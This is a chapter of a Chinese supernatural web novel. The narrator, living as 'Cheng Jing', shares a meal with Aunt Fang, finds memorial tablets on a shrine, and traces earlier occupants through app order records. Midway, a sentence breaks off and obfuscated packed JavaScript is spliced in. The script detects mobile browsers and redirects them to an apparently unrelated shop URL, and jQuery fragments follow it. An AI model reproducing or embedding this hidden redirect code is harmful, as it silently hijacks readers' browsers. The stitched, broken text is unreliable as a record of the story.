Chap.13  最后的晚餐——最后一面镜子


    “小晋，你醒了吗？出来吃点东西。”不久，房间外传来方姨的敲门声。


    ——小晋。还是小静？


    我按着肚子，慢吞吞爬起身，从飘窗上下来。听着锁芯绞拧的动静，等方姨喊到第三声时才应了声“就起来”，往门口挪去。旋开锁，拉开门，方姨正站在门外。她目光向门后一探，马上拢到了我脸上，微笑也愈发柔和：


    “感觉好点了吗？”


    “嗯。”我微微弯眼提唇，还是有些虚弱。


    “出来吧，我给你熬了点红枣桂圆，趁饭前喝了吧。”她转身先向厨房去了。


    红枣桂圆……


    我低头看看小腹，左边嘴角止不住地往上提起。眼球向上一瞟，叹息便沉沉地从鼻子里喷了出来。


    别说，就下午那一阵吐，我还真又饿得前胸贴后背了。


    只是……


    我扶着门框，抬头望望餐厅，那边传来了锅盖、勺子撞响的声音——


    这里的东西还能吃吗？


    ……


    ……不吃又能怎么样？我还能回去？


    鼻腔里又泄出声笑来，扯得小腹一阵抽痛。


    刚刚，我查了与我重名的人数——微信小程序“公安一网通办”的结果是“0~10人”，浏览器上“腾信云政务开放平台”则直接给出了个“0”。


    在这个世界，没有“晋江行”这个人。


    在这个世界，除了做“程静”，我无处可去。


    我嘴角凝着笑，垂下眼，目光楔进地板缝隙。心也随着目光一起沉下——用不了多久，“晋江行”就会整个填进去，再也找不到了吧。


    眼角的余光瞥见动静，抬起了头——方姨正端着碗走出厨房。她到桌边将碗放下，转身向我望来。


    我弯起眼角，对她微微一笑，带上房门，提腿向餐厅走去。


    餐桌上摆了碗红汤。汤上氤着薄薄的白气，里面缀着红枣、桂圆、枸杞，还有只染成淡赭色的煮鸡蛋。夕阳投进汤里，将汤映照成莹润的亮棕色宝石。


    “快来吃吧，不烫了。”方姨用勺子轻轻搅动，放出的热气像宝石上朦胧的光晕，“我放了些红糖。你升上来了，就没放姜。”


    ——又是升上来了……是说我和这具身体的融合度？


    “谢谢方姨。”


    我在椅子上坐下。她将汤往我面前推来。汤碗越过阳光切在桌上的斜线，停在我身前的阴影里，恢复成本来的深红褐色。


    我左手扶着碗，右手用勺搅了搅，低头吹着热气。鼻子里盈满煮熟红枣的暖暖甜香，汤里也没看到别的东西。


    ——没什么问题吧。


    我提提嘴角，强压住胃肠的急切贪索，慢慢抬手，往嘴里递了颗红枣。轻轻一咬——


    软烂的清甜瞬间炸开，充溢口腔，将呕吐后的苦涩一股脑赶到了角落。腮帮子陡地一酸，差点就要抽筋。


    瞪着眼，缓了好几口气，下颌关节的那股莫名酸劲才过去。我小心翼翼地一边吹气，一边喝完了这碗汤，连掉在碗里的蛋黄都吃得干干净净。


    一碗热汤下肚，小腹的酸胀仿佛都被烫平了一层。


    我有些恋恋不舍地放下勺子，左手离开渐凉的碗，抬起头，才看见方姨正笑眯眯地望着我。她的脸笼在夕阳中，也染上了一层金橘。


    “好喝吗？”


    我赶紧点头，又连声谢过了她。


    她嘴角弯得更高了，眼睛也眯成了两条金褐色的细缝。


    她起身，走到我右边，却没着急收碗，而是将手轻轻放上了我头顶。


    “小晋啊，你现在能安下心来工作了，方姨很为你高兴。但身体才是本钱，再怎么样，也不该拿自己的身体赌气。你得多爱惜自己一点。”那只手在我头顶轻轻摩挲。


    头顶传来掌心的温度，带起一身的冷意。


    ——自己……


    我垂着眼，僵直着背坐着，一动也不敢动。双手在桌下掐进了大腿，将呼吸和心跳牢牢掐稳在平缓的节奏里。


    “我就是年轻时不注意，身体才成了现在这样。方姨大概也陪不了你多久。你再不注意，再不为自己打算，将来可要怎么办呀？”


    ——将来？呵…谁的将来？


    手顺着后脑滑下，离开了我的脑袋。她叹了口气，端起碗转身进了厨房。


    我将双手摊到桌上，望着右手的指尖发呆。


    随即，她从厨房出来，坐回椅子上。


    她也将双手搭在桌上，低下头，看看自己的手。那双手上骨节筋纽交错，干瘪的皮肤扯出斜斜的纹路，打蜡般在阳光下微微发着光，晕染开几点青紫。她搓了搓两只手背，嘴角噙起笑，抬头向我看来：


    “之前说，要给你介绍的那个对象，他们家又来问了我几次了。那男孩人品真的很好，对家里也孝顺……希望你能认真考虑一下，为自己打算。”


    ——果然。又是这打算。


    我也噙着笑，重新低头去看自己指尖。


    “方姨知道你不喜欢听这个……”


    金线从指尖钻出，探进前面的阳光里，被漂成银色，钻桌面下去了。那方阳光也正如水般流动，推来了方姨的声音：“每次一说就要吵架……但是，我也是过来人了，不得不劝劝你。人这辈子，总得有点寄托。到最后你就会知道，女人最重要的还是家庭。我是真的希望，你能早点找到自己的归宿。”


    ——总得有点寄托么。


    “人总得为了点什么活着。”


    疯子的声音突然在耳边响起，覆盖了方姨的劝导。我仿佛又回到那个晚上，坐在椅子上，听他说去月亮上的理想。嘴角一轻，翘了起来：也许，他真的上去了。


    金线在轻轻摆动，自顾自地惬意舒展。


    我望着它走了好一会神。等再听见方姨的声音时，那声音竟在微微颤抖，还带了哭腔：


    “老话说，最难不过女人。做女人，一个人过，实在是太难了。你知道，这些年我养着你……有多苦吗？如果，如果你大伯还在…如果他还在……”


    ——每次……这么些年……？


    我抬起头，有些奇怪地望向她。那张脸被阳光映得通透，仿佛瓷器正在碎裂——她眼眶和鼻头都红红的，鼻孔翕张，嘴角轻轻抽动。目光则紧紧攀住我的脸，里面的悲伤被光线封印在了眸子里。


    她是真的难过了。


    我心脏重重一擂，一时有些恍惚——


    ——她，不会真把我当成程静了吧？


    我从餐桌下拿出抽纸，扯了两张递过去。她接过的瞬间，嘴角抽动得更厉害了，下巴都跟着颤抖起来。我不知该作何反应，只好僵坐原地，露出悲伤的表情。


    她侧过身，重重醒了醒鼻子，胸口剧烈地起伏着，肩膀也耸动了几下。就这样，她垂着头，倚着椅背坐了许久。再转过来时，脸上虽仍都是红通通的，嘴角却已经平静下来。


    她塌着肩膀，一动不动望着桌面上阳光切出的斜线。世界仿佛都凝固在了那条线上。只有客厅远远传来的电视广告声，还见证着时间流逝。


    半晌，直到那条线的边缘都不再清晰，她的声音才又响起：


    “小晋——静静，阿姨知道，你心里还有个槛。但你听姨一句劝，人总是要学着向前看。你都三十二了，还能再有多少机会？错过了，就是一辈子的事。”


    我的目光从那条线移到她脸上。她也正抬头看我，双手摆在桌上，右手还捏着那团纸巾。


    阳光正渐渐离我们而去，她的脸也在慢慢重变回晦暗。失去了光晕的魔法，疲态反噬般彻底占据了她。


    她灰黄色的嘴角又挂起了浅笑：


    “我又重新买了盆幸福树，过两天还是摆到你房里。这次可不能再砸了，真的会影响你的运势的。”


    ——哈，还真是“我”砸的。


    我嘴角也挑起来一个微笑。小腹又开始坠痛，我将右手抵了上去。


    “你也还是把头发留起来才好。女孩子，本来就应该是长头发。”她的目光轻柔地拂过我面庞，却像透过我，落在了别处。声音也忽然隔了水般嗡嗡作响：“我们小静本来就长得好。你随你妈妈，眼睛大，皮肤也白，只要肯好好收拾一下啊，谁见了都会喜欢的。”


    ——妈妈……


    这个称呼在脑中空洞回响，对应出的面容仍只是一团水汽。


    蓦地浮现在眼前的，却是那张身份证上的照片——阳光将最后的绚烂洒满她面容，光晕中的脸竟充满了生气。


    屋子里已经开始暗下来。


    方姨转头望向窗外：“该做晚饭了。”于是，她站起身，对我说了句“帮我开一下客厅的灯。等饭好了叫你”，去了厨房。


    我应下，撑着膝盖站起，走到客厅。电视的亮光在昏暗中舞出一片陆离。我定睛一看，原来是动画片，满屏幕激光炫影，环绕着乒乒乓乓的打斗声。


    金线从我右手下伸出，向前，仿佛被那明灭斑斓的光线吸引，旋纽着，纠缠着，没入电视机柜下面。


    我找到电灯开关。


    “咔！”屋子瞬间被白光照亮。家具们清清醒醒地回到原位，屋子也从方才的奇幻，变回了平日里质朴的模样。


    我将手落在沙发的实木靠背上，感受着掌下的凉意，向四周看去——


    这屋子，如果真的是个风水局，那也总该有个“阵眼”。找到它，或许就能挣破现在这诡异的境地。


    ——阵眼，会是哪呢？


    目光先扎向电视——每次方姨一回来，最先就是开电视。会不会……


    不，不对。它太外显，太板滞。而且，电视开着的时间毕竟是少数，就只像是在给这屋子“放个风”。


    那么，是到处挂着的风水摆设？目光扫过房门把手上的铜钱，眼前又浮现出几处墙角挂着的铜牌、木牌，和厕所墙上的五只葫芦。


    它们看起来太过零碎，只像边角，而不是它的核心。


    视线一点点移到餐厅。佛龛正安然静立在晦暗中。


    目光一刺，仿佛在搁板上那堆模糊的轮廓中，清晰地看见了那盏莲花灯。它现在还暗着，但等到半夜，就会在一片漆黑中幽幽亮起，猩红色的光缓缓起伏，就像在深深呼吸。


    我不觉也加深了呼吸。手指紧攥着沙发靠背，心脏狠狠擂击胸腔。


    重重一捏靠背，松开手。去房里取了杯子，走到厨房门口，按下了餐厅灯的开关。餐厅终于也彻底坦露在明亮之中。


    方姨在厨房里正着切菜。听见动静，转头向我看来。


    她脸上的表情……只是奇怪？


    我举起杯子，朝她笑笑：“口渴了，我出来倒点水喝。”


    “哦。”她又回过头去，继续切菜，“饭菜还要一会儿。你还没饿吧？今天得晚一些。”


    “好。”我答应一声，去橱柜那倒上水，就转身，绕到了对面的佛龛前。


    我站定，第一次仔细打量起这佛龛。


    它有近两米高，深枣红色的漆面已经皴裂，露出底下单薄的木板。上下都是橱柜，中间则嵌进去一大块，里面摆了不少东西。


    目光扫过顶上的橱柜——背板上立着一大幅画像，是佛祖和环绕他的几位菩萨。搁板上则摆了观音菩萨的塑像，以及绢花、水杯、苹果。那盏莲花灯就静静立在绢花右边。莲花形状的透明塑料灯罩有点发黄，每片花瓣尖顶上染着些大红。


    我皱皱眉，转身望向厨房。门里正传出来锅碗瓢盆碰响的声音。


    回正，将杯子轻轻放在中间的桌面上，伸手将莲花灯和绢花调换了个位置。


    收回双手，我静止了一秒——厨房的碰响和客厅的电视声仍在欢快唱和，没有任何中断或者变化。我撇撇嘴，重新捧起茶杯，捂得更紧了些。杯壁上的温度，将眼前的画面一下烫亮不少。


    视线继续扫过底下橱柜的抽屉和双开门，停在它顶部的桌面上。这正是我刚才放杯子的地方。


    这上面靠近书房门的左侧放着本佛经，一串念珠就压在经书上，正是方姨每天拨的那串。中间也摆了水杯和苹果，还有一小碟包装五颜六色的糖果。靠里，则立着三个手掌宽、颜色深浅不一的枣红长形木牌，凹在暗影里几乎和佛龛的背板融成一片。


    稍一矮身，空气中便多了股隐约的檀香味。我向里望去——木牌上都还绘着金字。是牌位。


    呼吸一窒，脑子里嗡的一声。我目光一垂，指尖轻按杯壁，厨房的声音和周围的光线逐渐清晰。我轻轻泄出口气，还没呼完，却愣住了——


    三个？


    心又狂跳两下。放下茶杯，右手撑住桌沿，慢慢抬头，向牌位看去。


    中间的牌位最大，红黑的底色，正中一行金字：“先夫程峰往生西莲位?”。


    两侧的牌位稍小，颜色也较明一些。左边的旧些，写着“未缘子往生莲位”“愿往生极乐”，右下角一行小字注出了时间：“二零一一年八月十四日立”。


    2011年8月14日……14年前？


    ——那时候，程静都已经18岁了吧？


    未缘子……


    我又看见了天台，夕阳下刘姨摇晃着三根手指。


    ——是方姨为之前流掉的三个孩子立的牌位？


    这佛龛与屋里其他家具明显不是一套……她是在2011年，才开始信佛？


    我再次看向程峰的牌位。果然，右下角写着“卒于二零一零年六月二十三日”——她是在程峰死后才开始信佛的吧。


    目光继续移到右边的牌位上——


    “程静——”


    右眼一跳，那两个字在暗影里自己亮了起来。太阳穴突突直鼓。我攥紧桌沿，闭眼定了定神，才继续向下看去——


    “未缘爱女之灵位”“愿得安息”“二零一四年十一月八日”


    ……未缘爱女……


    程静…流过产？


    心猛地一沉，忽的安静下来。刚才狂乱的脉搏，变得迟缓而沉重。视线来回扫了几遍，我才终于敢确定：右边的这个牌位，的确是为程静未出世的孩子所立。


    暗暗叹了口气，直起身，拉开身后的椅子，坐下。双手下意识地轻轻捂在了小腹上。


    呆子，混混，破鞋，傻子，废物，疯子……这串“房客”代号又出现在我脑中。他们中，到底有几个“房客”，又有几个，是真的程静呢？


    我从裤袋里摸出手机，再次调出微信钱包的账单界面——最早的记录是2015年2月，正是“废物”自称搬进来的时间。


    而牌位上的2014年11月8日，大概就是程静流产的日子。这期间的短短三个月里，会不会…就是傻子“存在”的时间？


    “她后来在外面读了大学……根本就没毕业……人被接回来了，天天关在屋里……”刘姨的话又在耳边响起。


    她说，程静是在程峰死后两三年被接回来的。


    程峰死于2010年6月，其实是在四年前。但她说的时间未必准确，这大体也能对上。


    那么，程静是读大学时因为流产，才又辍学回来的？如果是那样，她之后变成“傻子”也就说得通了。


    “是个胖子”“不是往嘴里塞东西，就是发呆……两只眼睛直直盯着楼下……”废物这样向疯子描述过傻子。


    ——这，的确像一个深受打击，前途破碎的女孩会有的状态……


    我转头望向阳台，那片黑暗里仿佛还有个胖胖的身影，正贴着玻璃，缩在地面冰凉的瓷板上。


    冰寒漫透全身，小腹又猛一阵绞痛。我弓起背，指尖死命掐进了盆骨上缘的肌肉里，也仍得不到半点缓解。只好咬着牙默默数起心跳。等数到82，阵痛才总算过去。下腹和腹股沟还紧绷着，又酸又胀。


    我干脆将双脚踩上椅腿间的横梁，抱起胳膊，弯腰用它们挤住小腹，低头缩成一团。眼睑将世界挡在外面，黑暗中思绪逐渐清晰——


    程静高中时就跑出去了，多年在外，不可能还受这屋子掌控。既然她又回来了，那么，很有可能——直到傻子，都还是程静本人。


    废物叫姜小晓。疯子叫赵路。还有我，晋江行。


    我们三个。


    或许，只有我们三个，才是被这间屋子，被方姨，拖进来的——“鬼魂”。


    但为什么，是我们被拖进来？我甚至……都不存在于这个世界。


    他们，也是这样么？


    我轻轻啃咬着下唇，拇指指甲沿着食指侧边慢慢从指根掐到指尖，再从指尖掐回指根，让自己保持专注。


    我们三个中，赵路和我是男的，姜小晓是女生。


    赵路疯了，所以他以为自己是方姨的侄儿。姜小晓则以为，她是为了复习备考，才到这来租房子……


    我只见过赵路。赵路是在我和姜小晓中间进来的，见过我们两个。


    我看见的始终都是赵路的“鬼魂”，甚至在他用这具身体和方姨争吵的时候。那么，赵路看见的，也该始终是我们的“鬼魂”？


    是吧……要不，他怎么能对我毫无风度。虽然或许对他而言，真的“男女都一样”——从他对姜小晓的调侃里，就找不出半点风度——但他对我叫“晋江行”这个一听就是男人的名字毫不意外，又随口说出了“我们是同类”这样的话……


    应该，在他眼里，我妥妥就是个男人。


    那么，他看见的废物，应该也就是姜小晓“本人”了。


    黑暗中，三根线头轻轻舞动，它们一根搭着一根，一点点向上抬起，牵动了下面一整摊乱线。


    忽然，第三根线被绊住了——


    姜小晓说她见过傻子……


    她看见的，究竟是什么？


    “傻子是个胖子……”


    不管她看见的是什么，她看见的是个胖子。


    胖子……


    那她呢？


    “三天一洗……运动节食……”是赵路眼里的姜小晓。


    “胖胖的……一副没洗脸的样子”是刘姨她们口中的程静。


    “一个不洗脸的胖子……”我喃喃念出声来。


    明明是分属于两个人的“鬼魂”和肉身，却得到了相同的描述。


    都“不洗脸”还好理解，但连体型都一样……都和之前的“傻子”一样……


    巧合？


    还是……“鬼魂”会和身体同步？


    ……可惜，之前没多问问废物的模样。


    食指一痛。我睁开眼，才发现右手不知什么时候又被我从肚子底下抽出，送进了嘴里——食指关节上多了个深深的牙印。


    我干脆仍将它塞回嘴里，眼睛追着金线一路向前看去——它斜斜从桌下穿过，钻进了厨房的墙角。路过的，正是那把曾经坐了赵路的椅子。


    他很痩。到底是因为程静的身体变得很瘦，还是因为他“原本”就瘦？


    我呢？


    我突然一愣——为什么我看我自己时，只看见程静的身体？


    就算不去管镜子里、手机里的“虚像”，我每天肉眼所见的，自始至终，都还是程静的身体，这具女人的身体……


    难道，他们也都是这样？


    ……不应该啊。赵路理直气壮地认定自己就是个男人，他之前看自己难道也是这具女人的身体？那后来他又变回了“鬼魂”，怎么没有觉


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001305|193953||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    得不对劲？


    何况他在程静这壳子里都呆了两年多，即使能像我这样“一时糊涂”，却总不能…两年都不来月经吧？


    而且——呼吸猛地一滞，我终于意识到了是哪里不对劲——


    赵路的“鬼魂”，分明就是身份证上的那个程静——她瘦脱形、中年后的性转版！就是……我现在的样子。


    心脏猛地扑了两下，眼前光线黑了半秒。我双手攥住桌沿，后腰绷紧，死死抵住了椅背。


    ——闭上眼，深呼吸……


    闭上眼，我看见身前现出一条巨大的裂缝。


    别管他，我告诉自己。深呼吸，什么都不要想。离开这里……


    有什么却在吸引着我，一步步向下走去……


    “饿了没？”


    方姨的声音陡地在前方响起。我身上一凉，睁眼抬头，望了过去。


    她正从厨房走出来，手中的碗热气袅袅。目光一触到我，脸上的温和便凝固住，左眉微微皱了起来：“你这是……”她将粥碗轻轻搁到我跟前，顺势侧身将左手贴上了我额头，眼里满是担忧，“身上又难受了？”


    我点点头，扯起嘴角：“嗯，有点。”粥温热的气息扑在脸上，混合着软烂的小米香、幽冷的药香，还有……那股说不清的腥气。胃搅了搅，被我摁了回去。


    方姨轻轻叹口气：“谁让你这样不爱惜身体……我把粥热好了，喝了暖暖肚子吧。”


    说着，她直起身，轻轻抚了抚我头顶，才去椅子上坐下：


    “晚饭还要一会儿。你不是爱吃粉蒸排骨吗，我下午特地去买了排骨和米粉子，已经给你蒸上了。”她微笑着一抿嘴，眼睛亮晶晶地看过来，像有些羞赧，又像是得意，“正好又遇到有卖鲜南瓜藤的。也是你爱吃的，就一起买了点。”


    “谢谢方姨。”我在心里叹了口气——


    她是真心想照顾好“程静”吧。


    这屋子倒是有趣——疯子在这里演示过什么叫清醒，而正常人，也在这演绎出最虔诚的疯狂。


    厨房传来高压锅上汽的声音。一股咸鲜辛糯的肉香扑鼻而来，胃里一空，整个食道都在分泌唾液。


    我捂着肚子，舌尖抵住上颚，僵着两颊肌肉，小心地深深嗅了几口，轻叹了句：“好香。”


    方姨弯眼一笑，扶着桌沿站起：“我去看看火。你趁热先把粥喝了。”


    “嗯。再凉点就喝。”我将手扶上粥碗，也弯了弯嘴角。


    方姨去了厨房。我指尖轻轻摩挲着碗壁，垂眼望进碗里，想起了疯子——


    为什么，他能吃饭？


    鬼魂不都是象征性地嗅个香气么。他怎么能实实在在地拿起碗筷来，吃饭？


    而且……我转身望向那扇紧紧关着的书房门——


    他还能读书、写青词。


    他必定“真实”存在。难道，在这个屋子里，鬼魂也能拥有实体？


    不。不只是在这个屋子里。他还出去过——去烧青词，在那个阳光灿烂的周一下午。还有那个清朗的中秋夜晚……我是亲自跟着他一起上到天台，亲眼看着他烧掉的。


    疯子他…


    到底是什么？


    我呢？


    指尖早已僵滞，微微发麻。我轻轻一动，才重又感觉到碗壁传来的温热。


    收回手，撑着椅子站起，转身开门进了书房。


    书房拉着窗帘，空气凝滞，沉在黑暗里。我打开灯，才看清了它——书柜和飘窗空着，书桌的搁架上摆着那对铜麒麟。


    仍是上次进来时的模样。这里仿佛被整个封进了一颗巨大的琥珀里。


    我轻轻翕动鼻翼，竟还能找出来隐隐的焦燎味，和一丝淡淡的桂花香气。


    带上房门，走到桌前。伸手抽出那张“五雷符”，放在桌上。又将两只麒麟左右对调，拉开点间距，再一起向右移了三厘米。


    摆好麒麟，我屏息静了静——空气中并没有任何特殊波动。我耸耸肩，捏起纸符，拉开抽屉打算扔进去。


    抽屉滑开，一小沓崭新的A4纸就蓦地平铺在眼前——之前，疯子就是用它们，写出了青词。


    这一小方新雪般的白直刺得我眼眶发涩。伸出手，指尖轻抚过顶页，金线也柔柔贴了上去，在纸页上游弋流连，才终于恋恋不舍地滑出边沿，钻去抽屉后面。我勾勾嘴角，手指向下楔进这沓纸的底部，抬起一角，左手将符压到了最底下。


    再抬头，便看见了桌上靠墙还摆着钢笔和墨水。


    “疯子，废物……或许，还有程静。”


    我怔怔望着，《The Little Prince》扉页上那两个清秀的钢笔字又映上了桌面。


    嘴角一点点拉高，鼻梁后面却越发酸涩。我垂下眼，推上了抽屉。


    我转过身，靠着书桌，长长吁出了一口气。对面，那副画，还好好地藏在飘窗上的暗影里。


    视线继续向左，落到了门后那堆杂物上——画架，香薰炉，哑铃，瑜伽垫，盒子里还有爱尔兰哨笛和蛋糕模具……


    这些都是“废物”的东西。


    “差生文具多么。”疯子的嘲讽又在这房里响起。我咧开嘴，不出声地哈哈笑了几秒，才慢慢收起笑，脸上回复成和这房间一样的空寂。


    她离开时，应该曾好好地和疯子道过别，却没带走它们。


    是啊，她只是个“鬼魂”，怎么可能带得走它们。


    她，去了哪里？


    空寂一点点收紧，呼吸渐渐急促——


    她是自己离开的吗？


    离开时，她可知道——自己将去哪里？


    心脏又狠狠蹦了两下，踢翻眼前的一大片银箔。我一闭眼，双手向后抵住桌沿，慢慢深吸进几口气。


    这里空气太闷。我走到飘窗前，拉开窗帘，才发现原来窗户也关上了。


    推开窗，新鲜干爽的空气瞬间扑来。我趴在窗沿，深深吸进几口，才向外看去。外面已经全黑了，楼下亮着几点白色，那是路灯。不远处传来新闻联播结束时的音乐。


    我干脆甩掉拖鞋，在飘窗上坐下，背靠着冰凉的墙壁——


    第一次进书房来找疯子时，他就是这样坐在这里。


    “月亮从不注视着沉睡著的人。”


    我看了看固执飘向桌后的金线，也将头枕上墙壁，目光空空地投向窗外。


    ——月亮，是从另一边升起。


    这里曾是他的房间。


    也是她的。


    还有她——傻子。废物说，她也总坐在这飘窗上向下看。


    就是我身下的这片飘窗。


    他们透过这扇窗户，望见了月亮。那么，月亮透过这窗户望见的，是他们，还是——她？


    微笑又浮上嘴角——


    它看见的，是我，还是程静？


    同一个人。同一扇窗。


    ……


    同一个地址。


    “同一个地址……”我愣了愣，拼夕夕的红色图标在脑中闪过——


    疯子和废物都在拼夕夕上买东西。他们总不至于收件人都填“程静”？


    我慌忙从兜里抓出手机，在角落里找到图标。短信登陆，摸索半天，总算找到了“我的订单”。


    似乎没办法筛选时段，只好一笔笔向下确认。


    订单里排着的一长溜都是书籍，收件人正是“赵路”。一路下滑，才渐渐出来些日用品、零食。点开，果然就是“姜小晓”。我向上找到了署名“姜小晓”的最后一笔订单——


    《肖八》？2022年11月19日，04：38：17……


    ——那就真的很能熬了。


    2022年11月，的确也能和微信钱包的账单记录对上。


    撇撇嘴，继续往下。我得看看，这个账号最早是谁在用。


    许久后终于拉到了底。最早的订单是个小风扇——


    “已签收程静——”


    ——程静！


    心重重一擂！这个名字……真的出来了。


    确认过手机号和地址，我稳住心跳，点开“更多订单信息”——“下单时间：2017-7-13”。


    2017年7月13……？


    脑中空白了两秒——


    但是……废物不是2015年2月就“住”进来了吗？


    她…收货时都不看看名字？


    我僵着手挨个往上点去——所有订单的收件人都是“程静”，直到2020年3月4号开始，才齐齐换成了“姜小晓”。


    ……


    姜小晓。


    她是五年前才“住”进来的？


    那为什么她会告诉疯子，在他来之前，她已经在这里住了七八年？


    还有……六年前，赵姨在日日惠里看见的那个“程静”，到底是谁？


    ——记忆混乱？还是，时空错乱？


    天台上几位阿姨的话又在我耳边缭绕，转动了整个房间。我闭上眼，紧紧攥着手机，努力想从这飞速的旋转中吸取到一些空气。


    “小静，你在这里做什么？粥怎么还没喝？”


    我全身一颤，骤然睁眼，扭头向房门看去。这才发现门不知什么时候开了，方姨正握着把手站在门口，狐疑地向我望来。


    “吃晚饭了。我刚刚还去你房里喊你……”她鼻翼翕了翕，转头扫视一圈，“你怎么又跑这里来了？”


    我慢慢吸进两口气，心跳总算稳了一些。捏着手机，一眼扫见前面墙上的画，轻声道：“我突然想来看看这幅画。”


    方姨的眉头却蹙得更深了。她目光飞快地从画上掠过，胸口轻轻起伏，留下句“出来吃饭吧”，就转身走开了。